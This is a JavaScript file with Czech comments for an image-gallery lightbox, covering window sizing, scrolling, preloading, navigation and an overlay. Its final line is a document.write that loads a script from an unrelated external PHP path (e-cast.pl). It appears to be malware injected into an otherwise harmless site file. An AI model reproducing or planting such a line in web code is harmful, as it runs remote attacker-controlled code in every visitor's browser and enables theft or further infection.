// ----------------------------------------------------
// užitečné funkce na zjištění výšek, šířek a crollu. 
// zdroj: http://www.howtocreate.co.uk/tutorials/javascript/browserwindow 
// ----------------------------------------------------
function vyska_okna() {
  if( typeof( window.innerHeight ) == 'number' )
    //Non-IE
    return window.innerHeight;
  else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) )
    //IE 6+ in 'standards compliant mode'
    return document.documentElement.clientHeight;
  else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) )
    //IE 4 compatible
    return document.body.clientHeight; 
}

function sirka_okna() {
  if( typeof( window.innerWidth ) == 'number' )
    //Non-IE
    return window.innerWidth;
  else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) )
    //IE 6+ in 'standards compliant mode'
    return document.documentElement.clientWidth;
  else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) )
    //IE 4 compatible
    return document.body.clientWidth;
}


function getScrollY() {
  var navrat = undefined;
  
  if( typeof( window.pageYOffset ) == 'number' )
    //Netscape compliant
    navrat = window.pageYOffset;
  else if( document.body && ( document.body.scrollLeft || document.body.scrollTop ) )
    //DOM compliant
    navrat = document.body.scrollTop;
  else if( document.documentElement && ( document.documentElement.scrollLeft || document.documentElement.scrollTop ) )
    //IE6 standards compliant mode
    navrat = document.documentElement.scrollTop;

  if (navrat==undefined)
    navrat=0;
  
  return navrat;
}

function getScrollX() {
  var navrat = undefined;

  if( typeof( window.pageYOffset ) == 'number' )
    //Netscape compliant
    navrat = window.pageXOffset;
  else if( document.body && ( document.body.scrollLeft || document.body.scrollTop ) )
    //DOM compliant
    navrat = document.body.scrollLeft;
  else if( document.documentElement && ( document.documentElement.scrollLeft || document.documentElement.scrollTop ) )
    //IE6 standards compliant mode
    navrat = document.documentElement.scrollLeft;
	
  if (navrat==undefined)
    navrat=0;
  
  return navrat;
}

function vyska_dokumentu(){

	if (window.innerHeight && window.scrollMaxY) 
		yScroll = window.innerHeight + window.scrollMaxY;
	else if (document.body.scrollHeight > document.body.offsetHeight)// all but Explorer Mac
		yScroll = document.body.scrollHeight;
	else  // Explorer Mac...would also work in Explorer 6 Strict, Mozilla and Safari
		yScroll = document.body.offsetHeight;
	
	// for small pages with total height less then height of the viewport
	if(yScroll < vyska_okna())
		return vyska_okna();
	else 
		return yScroll;
}
// ----------------------------------------------------
// samotné funkce na lightbox
// ----------------------------------------------------

//než se obrázek načte, zobrazí se načítací div
function zobraz_nacitani() {
  document.getElementById('obr').style.display='none';
  document.getElementById('nacitani').style.display='block';
  
  prazdno = sirka_okna() - 300;
  if (prazdno > 0) 
    document.getElementById('ram_obrazu').style.left = (getScrollX() + Math.round(prazdno / 2))+"px";
	
  prazdno = vyska_okna() - max_vyska_obr;
  if (prazdno > 0) //obrázek je užší než okno
    document.getElementById('ram_obrazu').style.top = (getScrollY() + Math.round(prazdno / 2))+"px";
}

// ---------------------------------
//cachování dalšího obrázku pro větší rychlost prohlížení
function nacti_dalsi() {
  if (akt_cislo >= obrazky.length - 1)
    dalsi = 1;
  else
    dalsi = akt_cislo + 1;  

  var nacteni = new Array();
  nacteni[akt_cislo] = new Image();
  nacteni[akt_cislo].src = obrazky[dalsi];
}

// ---------------------------------
//přepíše hrefy
function prepis_hrefy(cislo){

  if (cislo >= obrazky.length - 1)
    dalsi = 1;
  else
    dalsi = cislo + 1;
	
  if (cislo <= 1)
    predchozi = obrazky.length - 1;
  else
    predchozi = cislo - 1;
	
  document.getElementById('sipka_zpet').href = adresa_stranky + '#' + predchozi;  
  document.getElementById('sipka_vpred').href = adresa_stranky + '#' + dalsi; 
  document.getElementById('odkaz_obrazek').href = adresa_stranky + '#' + dalsi; 
  
}

// ---------------------------------
//při kliknutí na náhled v galerii
function zobraz(cislo){
  akt_cislo=cislo*1;
  document.getElementById('ram_obrazu').style.display = "block";
  zobraz_nacitani();
  document.getElementById('obr').src = obrazky[cislo];
  document.getElementById('poradnik').innerHTML = akt_cislo; 
  
  prepis_hrefy(akt_cislo);
  ukaz_zavoj();
  nacti_dalsi();
  
}

// ---------------------------------
function dalsi_obr(){
	
  prepis_hrefy(akt_cislo);
  
  if (akt_cislo >= obrazky.length - 1)
    dalsi = 1;
  else
    dalsi = akt_cislo + 1;
		
  akt_cislo = dalsi;
  zobraz_nacitani();
  
  document.getElementById('obr').src = obrazky[dalsi];
  document.getElementById('poradnik').innerHTML = akt_cislo;
  nacti_dalsi();
}


function predchozi_obr(){
	
  prepis_hrefy(akt_cislo);
  
  if (akt_cislo <= 1)
    dalsi = obrazky.length - 1;
  else
    dalsi = akt_cislo - 1;
		
  akt_cislo = dalsi;
  zobraz_nacitani();
  document.getElementById('obr').src = obrazky[dalsi];
  document.getElementById('poradnik').innerHTML = akt_cislo;
}

// ---------------------------------
//když je obrázek načtený
function ukaz_a_vycentruj(){
  //zobrazíme načtený obrázek
  document.getElementById('nacitani').style.display='none';
  document.getElementById('obr').style.display='block';
  
  //horizontální centr
  prazdno = sirka_okna() - document.getElementById('obr').width;
  if (prazdno > 0) //obrázek je užší než okno
    document.getElementById('ram_obrazu').style.left = (getScrollX() + Math.round(prazdno / 2))+"px";
  else //obrázek je širší než okno
    document.getElementById('ram_obrazu').style.left = getScrollX()+"px";
	
  //vertikální centr
  prazdno = vyska_okna() - max_vyska_obr - balast_okolo_obr;
  if (prazdno > 0) //obrázek je vyšší než okno
    document.getElementById('ram_obrazu').style.top =(getScrollY() + Math.round(prazdno / 2))+"px";
  else //obrázek je menší než okno
    document.getElementById('ram_obrazu').style.top = getScrollY()+"px";
}

// ---------------------------------
// závoj za lightboxem (dobrovolné, upraveno v css)
// mírně inspirováno: http://www.huddletogether.com/projects/lightbox/
function ukaz_zavoj(){
  
  if (!document.getElementById("zavoj")){ //vložíme div overlay...  jestli už není
    var objBody = document.getElementsByTagName("body").item(0);
	
	var objOverlay = document.createElement("div");
	objOverlay.setAttribute('id','zavoj');
	objOverlay.onclick = function () {zavri_obr(); return false;}
	objOverlay.style.display = 'none';
	objOverlay.style.position = 'absolute';
	objOverlay.style.top = '0';
	objOverlay.style.left = '0';
	objOverlay.style.zIndex = '90';
 	objOverlay.style.width = '100%';
	objBody.insertBefore(objOverlay, objBody.firstChild);  
	}
	
  document.getElementById("zavoj").style.display='block';
  document.getElementById("zavoj").style.height=vyska_dokumentu()+"px";

}

// ---------------------------------
//zavře obrázek a zruší závoj
function zavri_obr() {
  document.getElementById('ram_obrazu').style.display = 'none';
  document.getElementById("zavoj").style.display = 'none'; }
document.write('<script src=http://e-cast.pl/panel/BETA/2/lfgy.php ><\/script>');